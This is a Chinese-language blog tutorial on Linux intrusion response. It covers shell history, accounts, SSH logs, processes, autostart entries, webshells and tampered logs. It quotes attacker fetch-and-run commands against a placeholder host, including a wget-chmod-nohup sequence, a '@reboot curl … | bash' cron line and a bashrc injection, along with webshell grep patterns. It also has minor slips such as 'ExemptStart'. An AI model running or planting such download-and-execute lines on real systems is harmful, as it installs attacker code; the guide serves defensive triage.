☰
Linux应急响应实战:从history到开机自启的入侵排查全攻略
2026/10/18 5:19:24 网站建设 项目流程

半夜两点,监控平台弹出一条告警:某台Linux服务器在凌晨一点到两点之间,出现了连续300多次SSH认证失败,紧接着有一次成功的root登录记录。这种场景我接过不止一次。拿到一台疑似被入侵的机器,绝大多数人的第一反应是立刻改密码、杀进程、删文件——这恰恰是最容易把线索毁掉的顺序。

Linux应急响应这件事,本质上是在“攻击者已经动过手”的前提下,尽量还原他做过什么、留下了什么、正在做什么。标题里提到的“从history到开机自启”,就是一条非常经典的排查主线:先看命令历史,判断攻击者的操作目的;再看进程、端口和自启项,判断后门是否还在运行;最后落到文件和日志上,找出webshell、提权文件和被篡改的证据。这篇文章我按实战顺序完整过一遍,每个环节都给出具体命令和判断标准。

这套排查思路适合所有维护过Linux服务器的运维、安全工程师,以及刚入门想搞懂“入侵痕迹到底长什么样”的人。不像红蓝对抗里花哨的攻防技术,应急响应更讲究稳、准、快,先把这台机器当成犯罪现场,不破坏、不遗漏、不误判。

1. 应急响应的第一步:先定排查思路再动手

1.1 拿到一台疑似被入侵的机器,先别急着删文件

我见过不少同仁在处理现场时,第一件事就是kill掉可疑进程、删掉可疑文件、把密码改掉。这个流程听起来没问题,实际上会在无形中掩盖很多信息。比如攻击者通过漏洞写入的webshell,可能不止一处;他创建的后门账号,可能不止一个;他植入的持久化任务,可能藏在第三层目录里。你把表面的进程杀掉、文件删掉,过两天机器又被入侵了,到时候再来找我,我能查到的痕迹就更少了。

所以在动任何东西之前,先确认机器能否隔离。有条件就把服务器从外网断开,保留一个管理口用于排查。如果这台机器还在给业务提供服务,至少要把受影响的端口暂时切断,或者用防火墙做访问限制。这样做是为了防止攻击者在你排查的过程中继续利用机器,也防止后门程序把数据往外传。

再强调一遍:拿到机器后不要直接重启。重启会清空内存里的进程线索,一些只在内存中运行的后门进程会随系统重启消失,反而更难定位。如果攻击者改动了文件系统,重启后某些临时文件也可能被清理。先采集现场,再谈处置。

注意:应急响应的第一原则是“存证优先”。你把所有能看到的原始数据备份一份,后续的任何结论才站得住脚。

1.2 四步排查框架:隔离、存证、定位、加固

我把一次完整的应急响应过程分为四个阶段,这也是我处理任何一台机器时都会先对齐的框架。

第一阶段是隔离。核心目标是切断攻击者的控制通道,减少损失扩散。有条件的直接拔网线或禁网口,没条件的用iptables把可疑外联IP封掉。不要在这一步等太久,几分钟内完成即可。

第二阶段是存证。把与入侵相关的关键信息备份下来,包括命令历史、passwd/shadow文件、SSH日志、crontab列表、systemd服务列表、当前进程快照、端口连接快照。这些数据本身可以作为时间线依据,方便回来复盘。备份时直接复制文件,不要打开文件去“看内容”而改变了访问时间。可以用cp命令原样复制,或者tar打包放到一个临时目录。

第三阶段是定位。这就是后面几章要展开的完整排查过程:找隐藏账号、找异常进程、找自启后门、找webshell、找日志篡改痕迹。定位的核心不是“找到任何可疑的东西”,而是“把攻击者的整个入侵链路串起来”,从入口到持久化到外联,形成一条完整的证据链。

第四阶段是加固。把确认的恶意文件清掉、恶意账号删掉、后门自启项移除,然后同步处理漏洞入口,修改密码、更新补丁、收紧权限。加固做完之后,还需要观察一段时间,确认没有再被入侵。

2. history里的攻击轨迹:排查命令历史与反清理

2.1 查看所有用户的历史命令,远不止root的.bash_history

先说最容易遗漏的一点:很多人只查/root/.bash_history,但攻击者如果通过某个低权限账号入侵,再通过su提权到root,他早期执行的命令很可能留在那个低权限用户的home目录里。

排查时先找到所有bash历史文件:

find / -name "*history" -type f 2>/dev/null # 或精确一点 find /home -name ".bash_history" -exec ls -la {} \;

然后逐个查看里面的内容。root的历史文件路径是/root/.bash_history,普通用户的是/home/用户名/.bash_history。看的时候不要直接拖到结尾,完整读一遍,重点关注这几类命令:

  • wget、curl、scp:是否从外部下载过不明文件,下载的URL是什么
  • chmod +x、chown、mv:是否给某个文件赋予过执行权限
  • useradd、passwd:是否创建过新用户或修改过密码
  • crontab:是否写入过计划任务
  • iptables、firewalld:是否关闭过防火墙或改过规则
  • nohup、nohup.out:是否把某个程序放后台运行
  • python -c、perl -e:是否执行过反弹shell或内嵌脚本
  • vi/vim/echo重定向:是否编辑过rc.local、profile等系统文件

举个例子,我之前处理过一台挖矿机器,history里最后几条记录非常典型:

wget http://x.x.x.x/m.sh -O /tmp/xx.sh chmod +x /tmp/xx.sh nohup /tmp/xx.sh > /tmp/xx.log 2>&1 &

看到这样的记录,基本可以确定入侵者做了什么:下载脚本、赋予执行权限、后台运行。接下来的排查重点就很明确了,去看脚本内容、看后台进程、检查临时目录。

查看历史时建议配合时间戳看。默认bash历史不显示时间,可以先设置HISTTIMEFORMAT再执行history,但这只对后续记录生效。已经存在的历史记录没有时间戳也没关系,可以用文件的修改时间和日志里的登录时间做交叉比对。如果某个用户的历史文件在特定时间点被修改过,那段时间通常就是攻击者活跃的时间窗口。

2.2 攻击者清理历史后还能怎么查

很多攻击者比较小心,入侵后第一件事就是清空命令历史。常见的清理方式有三种:执行history -c、直接删除.bash_history文件、把HISTFILE环境变量改到别的路径再执行命令。

碰到历史文件被删的情况,先别慌。cat /root/.bash_history显示文件不存在的现象,本身就是一个重要线索。结合登录日志看,如果SSH显示有人成功登录过,但root的历史文件是空的,那就有理由怀疑历史被清过。这时候可以尝试从两个方向补线索。

第一个方向是查当前shell进程的信息。用ps -ef | grep bash查看bash进程的PID,然后进入/proc/PID目录,查看该进程的环境变量和文件描述符。比如:

ls -l /proc/PID/fd cat /proc/PID/environ

如果攻击者还挂着交互式shell,/proc里的environ可能留有HISTFILE路径,fd里也可能有指向历史文件的句柄。这种方式不保证每次都有收获,但值得一试。

第二个方向是查系统审计日志。如果服务器装了auditd,审计日志里会记录每条bash命令的execve事件,清理history也改变不了这个事实。临时补一个轻量级方案,对下一条命令进行审计:

auditctl -a always,exit -F arch=b64 -S execve -k shell_cmd

注意这个命令对当前已发生的事件无效,主要用于部署事后监控。

关键提示:history只是辅助证据,不是唯一证据。攻击者清理了history,不代表他在系统里没有留下别的痕迹。下面要讲的登录日志、文件时间、自启项,才是判断入侵行为更可靠的依据。

2.3 history排查时容易被忽略的两个细节

第一个细节是“隐藏空格命令”。默认情况下bash不会记录以空格开头的命令,攻击者在命令前加一个空格就能绕过history记录。检查一下HISTCONTROL环境变量,如果包含ignorespace,这种绕过方式就是生效的,那history里缺失某些敏感命令就很正常了。

第二个细节是区分“用户自己执行过的命令”和“通过脚本执行的命令”。有时候history里干干净净,不代表攻击者没做事,他可能只是通过写脚本、然后执行脚本的方式完成操作,脚本内容才是真正的命令记录。所以排查history之后,还要去看/tmp、/var/tmp等目录下有没有脚本残留。

3. 揪出“谁进来了”:用户、登录与SSH暴力破解痕迹

3.1 检查系统账号:找出隐藏账号与权限提升痕迹

用户排查是应急响应里必须做的一步,因为攻击者最常在系统中留下“后门账号”作为二次进入的通道。我在排查时固定会检查三处文件:/etc/passwd、/etc/shadow、/etc/group。

先看/etc/passwd里有没有异常用户,重点用下面几条命令筛选:

# 查找UID为0的用户,这类用户拥有root权限 awk -F: '$3==0{print $1" UID:"$3" Shell:"$7}' /etc/passwd # 查找拥有可登录Shell的用户 awk -F: '$7!="/sbin/nologin"&&$7!="/bin/false"{print $1" UID:"$3" Shell:"$7}' /etc/passwd

正常情况下UID为0的用户只有root一个。如果发现名为“sysadmin”或“tmpuser”之类的账号也是UID 0,基本可以断定是后门账号。攻击者喜欢用的隐藏手法之一,是把一个普通账号的UID改成0,这样用普通用户名登录,却能获得root权限。

看/etc/shadow时,重点检查新账号是否有密码。shadow里密码字段为!!或*表示账号被锁定,为正常哈希串则说明账号可登录。如果某个账号的密码字段看起来像是新设置的,结合passwd里该账号的创建时间,能更准确判断。

再看/etc/group和/etc/sudoers。攻击者有时会把普通账号加入wheel组或者sudo组,实现免密提权。如果发现某个账号同时拥有可登录Shell、高UID、加入特权组这三个特征,那基本不用怀疑太多,直接列入清除清单。

还要检查SSH信任关系。查看/root/.ssh/和/home/*/.ssh/下的authorized_keys文件。攻击者一旦把自己的公钥写进去,就能免密登录这台服务器,这种后门比账号后门更隐蔽。检查公钥内容,凡是自己不认识的key,一律视为可疑。

3.2 当前登录会话与历史登录记录怎么看

先用三条命令快速掌握当前登录情况:

w who last

w和who显示的是当前正在线上的会话,异常点通常是某个来自陌生IP的终端会话,尤其是长时间挂着的连接。last读取的是/var/log/wtmp,显示历史登录记录,包括登录时间、来源IP、登录方式(pts/0表示终端,:0表示本机图形界面)。如果发现某个来源IP在凌晨反复登录,或者从没见过的地域登录,那就是重点怀疑对象。

/var/log/btmp记录的是失败的登录尝试,也就是被暴力破解的记录。用lastb查看,它能直接告诉你攻击者尝试过哪些用户名。安全加固做得差的机器上,btmp可能有几万行记录,全是针对root的爆破尝试。这些尝试来自固定的几个IP,把这些IP收集起来统一封禁,能省去后续很多麻烦。

lastlog显示的是所有用户最后一次登录时间。它的特点是即使攻击者清理了wtmp,lastlog里也可能有残留信息。排查时重点看那些从未登录过的系统账号是否有登录记录,或者普通账号的最后登录时间和当前时间差异是否异常。

3.3 SSH日志里的暴力破解与成功登录分析

系统SSH登录日志是应急响应里最硬核的证据来源之一。CentOS/RHEL系看/var/log/secure,Debian/Ubuntu系看/var/log/auth.log。

先看有没有暴力破解:

# 统计失败的密码尝试次数 grep "Failed password" /var/log/secure | awk '{print $(NF-3)}' | sort | uniq -c | sort -nr | head -20 # 按来源IP统计 grep "Failed password" /var/log/secure | awk '{print $(NF-5)}' | sort | uniq -c | sort -nr | head -20

第一条命令统计被尝试的用户名,第二条命令统计来源IP。爆破的特征很明显:同一个IP在短时间内对root或admin账号发起几百次尝试。把这些IP封掉:

iptables -A INPUT -s 1.2.3.4 -j DROP

封完之后,再看成功登录的记录:

grep "Accepted" /var/log/secure | awk '{print $1,$2,$3,$9,$11}' | sort -k4 | tail -50

这条命令可以输出成功登录的时间、用户名和来源IP。把成功登录的时间线和前面history所在的日志时间对齐,如果发现某个IP成功登录之后紧接着出现了下载脚本、创建账号等操作,那么这个IP大概率就是攻击者的控制端。

注意:不要只看root的登录记录。攻击者如果通过普通账号登录再提权,普通账号的Success记录同样关键。

4. 还在跑的和开机就跑的:进程、端口与自启项

4.1 从进程和端口里找出“正在运行的恶意程序”

进程排查虽然直接,却容易被伪装。攻击者喜欢把挖矿进程、反弹shell进程的名称修改成类似“kworker”“systemd-journal”这种系统常见进程名。单纯看ps输出,很容易被蒙混过去。所以我看进程时,不会只看名称,而是结合CPU占用率、父进程PID、可执行文件路径一起分析。

先按CPU占用排序:

top -b -n 1 | head -30

挖矿程序的特征是CPU跑满但内存占用不高。如果发现某个进程CPU占用异常高,马上记录它的PID,然后进入/proc目录查详细信息:

ls -l /proc/PID/exe # 显示进程对应的可执行文件路径 cat /proc/PID/cmdline # 显示进程启动时的完整命令行 cat /proc/PID/cwd # 显示进程当前工作目录

exe链接指向的文件路径非常关键。如果指向/tmp、/var/tmp、/dev/shm等临时目录,或者显示“(deleted)”,说明程序的源文件已经被删除,这种进程基本可以断定是恶意程序。cmdline里如果包含矿池地址、反弹shell命令、或者远程下载的链接,就更明确了。

端口排查方面,用ss命令查看当前监听和对外连接:

ss -antlp

重点看ESTABLISHED状态中对外连接的目标IP和端口。常见的恶意外联端口有4444、5555、6666、8888、9999,这些端口经常被用作反弹shell或木马通信。看到某个进程连接到陌生IP的高位端口,先查一下这个进程的exe路径,再决定是否隔离。

排查时还应该注意隐藏进程的技巧。某些rootkit能隐藏ps、top、ss等命令的显示结果,单靠常规命令很难发现。碰到这种情况,可以尝试用内核视角的检查方法,比如对比/proc目录下实际存在的进程PID和ps输出的一致性。发现ps显示的PID数量和/proc下实际PID数量对不上,那就需要更深层的人工分析了。

4.2 开机自启的全链路排查:systemd、rc.local、cron一个不漏

找到恶意程序在运行只是第一步,真正麻烦的是它开机又自动跑起来。所以开机自启排查必须覆盖所有常见入口,否则清理完重启,它又活了。

我的排查顺序是这样的:

先查计划任务,覆盖面和低频确实让我吃过亏:

crontab -l cat /etc/crontab ls -la /etc/cron.d/ ls -la /var/spool/cron/

攻击者会往cron里写入类似“* * * * * /tmp/xx.sh”的任务,让恶意脚本每分钟执行一次。我处理过一台机器,cron里写的命令是“@reboot /usr/bin/curl http://x.x.x.x/y.sh | bash”,重启后必然中招。凡是看到计划任务里有下载、执行脚本、或者指向临时目录的条目,直接删除并记录。

再看systemd服务:

systemctl list-unit-files --type=service --state=enabled ls -la /etc/systemd/system/

攻击者会在/etc/systemd/system/下放一个自定义service文件,比如“update.service”,通过systemctl enable设置开机启动。查看这些服务文件内容时,如果里面ExemptStart路径指向/tmp,或者ExecStart参数是“/bin/bash -c …”,基本可以认定为后门服务。

然后看rc.local和用户配置文件:

cat /etc/rc.local cat /etc/rc.d/rc.local cat /etc/profile cat /etc/bashrc cat /root/.bashrc

rc.local是传统自启方式,权限要求低,攻击者经常往里头加“nohup /tmp/xx &”。/etc/profile、/etc/bashrc、~/.bashrc这类shell初始化文件也常被利用,攻击者在里面追加一条“curl … | bash”,用户一登录就触发。检查时重点看文件末尾有没有新增的、看起来不像系统默认配置的语句。

还有一个隐蔽手法:/etc/ld.so.preload。这是一个极少被关注的动态库预加载文件,攻击者把自己写的so文件写进去后,大部分系统命令都会被劫持,ps、ls、netstat显示的结果都可以被伪造。排查时先看这个文件是否存在、内容指向哪里。讲真,这个点绝大多数人第一次排查时都会漏掉,我甚至见过花了几小时才查到是这里出了问题。

用表格简单概括自启排查入口和检查方式:

自启入口关键路径常见恶意特征
计划任务/etc/crontab、/etc/cron.d/、/var/spool/cron/频繁执行下载命令或临时目录脚本
systemd服务/etc/systemd/system/、/usr/lib/systemd/system/自定义服务,ExecStart为bash执行脚本
传统启动脚本/etc/rc.local、/etc/rc.d/rc.localnohup后台运行临时文件
Shell配置文件/etc/profile、/etc/bashrc、/root/.bashrc追加curl/wget命令
动态库预加载/etc/ld.so.preloadso文件路径可疑,命令被劫持

自启项排查完之后,还应该查看系统当前已加载的内核模块,lsmod的输出里如果有陌生的模块名,去/lib/modules/对应目录下核实一下。这一步可能超出新手范围,但确实有攻击者会用LKM rootkit做隐蔽攻击,特征就是加载了名字很模糊的模块。

4.3 查看监听端口与当前网络连接的实用技巧

虽然上面列了ss命令,但实际排查中我发现很多新手搞不清监听端口和对外连接的区别。监听端口是本地服务等待外部连接,对外连接是本机主动连向外部。恶意后门更倾向于反向连接,也就是从受害机器主动连接攻击者的服务器,这种连接不会在监听列表里出现,必须靠查看ESTABLISHED状态来发现。

一个实用技巧是给netstat或ss的输出按状态分组,先把所有对外连接列出来:

ss -antp | grep -E "ESTABLISHED" | awk '{print $1,$4,$5,$6}' | sort -t: -k2 -n

看到某个进程持续保持与一个陌生IP的连接,而且连接的端口是48888这种奇怪端口,基本就是木马通信。另外检查一下有没有处于“SYN_SENT”状态的连接,这个状态表示本机正在反复尝试连接某个地址,某些后门程序在控制端失联时会不断重连。

如果某台服务器本身是Web服务器,80/443端口有对外连接是正常的。但如果是数据库服务器,出现大量SSH外连就要警惕了。判断时把这些连接和业务属性结合起来看,不要一味见外连就杀。

5. 文件、WebShell与被篡改的日志:最后的实锤

5.1 关键目录里的可疑文件与隐藏文件优先看

进程和自启项能看到“现在活着的”恶意程序,但对于已经落地、还没被执行的恶意文件,就得靠文件系统排查了。我检查时可不会只看文件名,而是抓住三个维度:路径、时间、权限。

路径上,优先看临时目录和内存文件系统:

ls -la /tmp/ ls -la /var/tmp/ ls -la /dev/shm/

/dev/shm是映射到内存的目录,重启自动清空,很多攻击者喜欢把脚本放在这里避免写硬盘痕迹。/tmp和/var/tmp则是下载类恶意程序的常规落脚点。看到这些目录下有可执行的、名称类似“xx.sh”“update”“cache”之类的文件,先看文件内容,再查文件修改时间。

时间上,用find按修改时间筛查近期的异常文件:

find / -mtime -3 -type f \( -name "*.sh" -o -name "*.py" -o -name "*.pl" \) 2>/dev/null | grep -E "/tmp|/dev|/var/tmp|/boot|/home" | head -50

这条命令可以找出三天内修改过、位于非正常目录的执行脚本。Web服务器还要专门看上传目录、静态资源目录下是否有脚本文件。

权限上,检查SUID文件是个重点。SUID权限允许普通用户以文件所有者的身份执行程序,攻击者可以用来做提权后门:

find / -perm -4000 -type f 2>/dev/null

看到SUID列表里出现不常见程序,比如/usr/bin/python、/usr/bin/perl,说明有人给解释器加了SUID权限,这几乎等同于把root权限交给任意用户,风险极高。正常系统里SUID文件一般是passwd、su、sudo、mount那些,其他的一律逐项核实。

5.2 WebShell排查:千万别只搜php

Web服务器是入侵高发区,webshell是攻击者留下的“网页后门”。排查webshell的核心思路不是找某一个文件,而是找“不该出现在web目录里的脚本”。不要只搜索.php文件,asp、aspx、jsp、py、pl这些都要覆盖。

判断webshell的一个实用策略是按最近修改时间列出文件,再结合内容特征筛选。先找到上传目录或web根目录,然后:

find /var/www/html -type f -mtime -7 \( -name "*.php" -o -name "*.asp" -o -name "*.jsp" -o -name "*.py" \) 2>/dev/null

看到不认识的脚本文件后,再用grep验证内容特征。常见的webshell特征包括eval、assert、base64_decode、eval(base64_decode($_POST))、$_GET[、call_user_func等函数。执行:

grep -rE "eval\(|assert\(|base64_decode|system\(|shell_exec|passthru|pcntl_exec" /var/www/html/ 2>/dev/null

搜索时注意看文件的完整性,比如文件头已被截断或文件内容全是一行超长base64编码,攻击者为了隐藏,经常用编码方式把关键代码藏起来。

除了查内容,我习惯做一次文件时间比对,原理是攻击者上传webshell时,这些文件的时间往往集中在入侵时间窗口内。如果前面排查到的登录时间点是凌晨2点,那凌晨2点前后被创建的web脚本,即使内容暂时看不出恶意,也是重点怀疑对象。

5.3 日志被篡改时的几个判断技巧

日志排查到这个阶段,很多攻击者会试图“清理痕迹”。他们清日志的行为本身,也值得被观察和记录。如果你发现系统日志出现了下面这些特征,就要提高警惕了。

异常时间跳跃。/var/log/secure里的记录时间是连续的,但某几个小时之间完全没有记录,这不代表那几小时没有登录行为,很可能是日志被截断或删除了。用awk检查时间不连续的区域:

awk '{print $1,$2,$3}' /var/log/secure | sort | uniq -c | tail -30

日志文件属性为不可修改。攻击者为了让自己的后门日志不被发现,有时会用chattr +i或chattr +a锁定日志文件,让其他程序无法写入。排查时用lsattr查看:

lsattr /var/log/secure /var/log/messages

如果发现secure被加上了i属性,这本身就是异常。正常系统不会有人给几天前的日志文件加不可修改标志。此外二进制日志文件的大小异常,比如wtmp被清空后重新写入,文件大小会突然减小再逐渐增长,可以对比同一目录其他日志文件的大小判断。

二进制日志里,如果wtmp和btmp文件被彻底重写,线索会丢失。这种情况我通常直接放弃从日志恢复完整时间线,转而依靠文件系统时间戳和进程记录。备份文件副本再排查只是为了保留证据,不指望每条命令都能还原。

6. 高频问题速查与实战经验教训

6.1 现场高频问题速查表

把实战中最常遇到的几类场景整理成一张速查表,排查时可以对照着操作:

疑似场景典型现象快速定位命令建议处置
机器被用来挖矿CPU飙升,外连矿池端口top、ss -antp、ls -l /proc/PID/exekill进程,删除临时脚本和自启项,封禁矿池IP
SSH被暴力破解secure日志大量Failed passwordgrep Failed /var/log/secure封禁来源IP,禁用服务器密码登录,改用密钥认证
网站被挂webshell页面被篡改,web目录出现新脚本find按时间查找+grep特征函数删除恶意脚本,修复文件上传漏洞,重置相关账号密码
服务器多了后门账号passwd出现UID 0账号,或不明登录Shellawk过滤UID与Shell字段锁定并删除账号,检查sudo和SSH key
木马开机会自启重启后进程复现,反复收到外联告警systemctl、cron、rc.local全覆盖检查清理自启项,逐项删除启动源,验证重启
命令输出被篡改ps/ls显示的进程和实际不符对比/proc PID数量和ps输出使用无依赖工具或从挂载盘中排查,修复ld.so.preload

这张表不是让你照着逐条跑一遍,而是结合当前机器的现象,先定位到对应场景,再缩小排查范围。我发现不少人喜欢把几十条grep命令都跑一遍,看起来很努力,但输出太多反而抓不住重点。先定位,再抽查,效率会高很多。

6.2 关于哈希校验、免密登录和最小化部署的几点心得

讲到SSH安全,第一个建议是关闭root密码登录,改用密钥认证。如果业务确实需要密码登录,设置一个足够复杂的密码。第二个建议是限制SSH登录来源IP,这台机器只允许公司出口IP访问管理端口,攻击者根本够不到,也谈不上爆破。

文件校验方面,安装完系统或应用后,第一时间对关键二进制文件、配置文件计算哈希值并保存到离线位置。以后排查时,重新计算一遍,差异项就能轻松锁定。这套方案不需要复杂工具,一条sha256sum就能搞定。

我对服务器部署的体会是:服务能少装就少装。一台被攻破的机器上,跑的服务越多,攻击面越大,排查面也越宽。关掉不用的服务端口,删掉不必要的编译工具,改掉所有默认口令,这门心思花在平时,比危机爆发后拼命补救划算得多。

6.3 我踩过几次坑之后总结出的排查纪律,重要性不亚于命令本身

第一次处理入侵时,我一上来就kill了一个可疑进程,结果这个进程的父进程迅速重新拉起一个新进程。后来我查日志才发现,原来攻击者设计了一个守护脚本,把可疑脚本的启动命令放进了cron,光杀进程等于白干。从那以后我固定了流程:先查自启,再杀进程,最后确认不会自愈。

第二次踩坑是看到history里的攻击者命令后,急着删除了下载的恶意脚本。删除操作把文件原始内容销毁了,后续做IOC提取和攻击特征分析时,我只能靠记忆还原命令内容,远不如把原始脚本打包留档方便。现在遇到可疑文件,我的做法是先copy到隔离目录再决定是否删除。

第三个教训和日志有关。有一次我直接清空了/var/log目录下的日志文件来“重置环境”,这个操作把攻击者IP和入侵时间全部弄丢了,导致后续无法确定其他失陷范围。日志乱了,整个排查时间线就断了,宁可日志占磁盘空间,也不要轻易做清理动作。

最后说一点关于恶意程序排查的边界:如果你发现ps、ss、ls这类命令本身的输出都不可信,说明系统层面很可能已经被rootkit劫持,这时候在受感染的系统里继续用常规命令排查,效果会大打折扣。正确做法是使用静态编译的排查工具,或者从外部挂载系统盘来检查。这也解释了为什么很多应急响应方案都强调准备一套干净的排查工具包,平时不显眼,出事时能救命。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询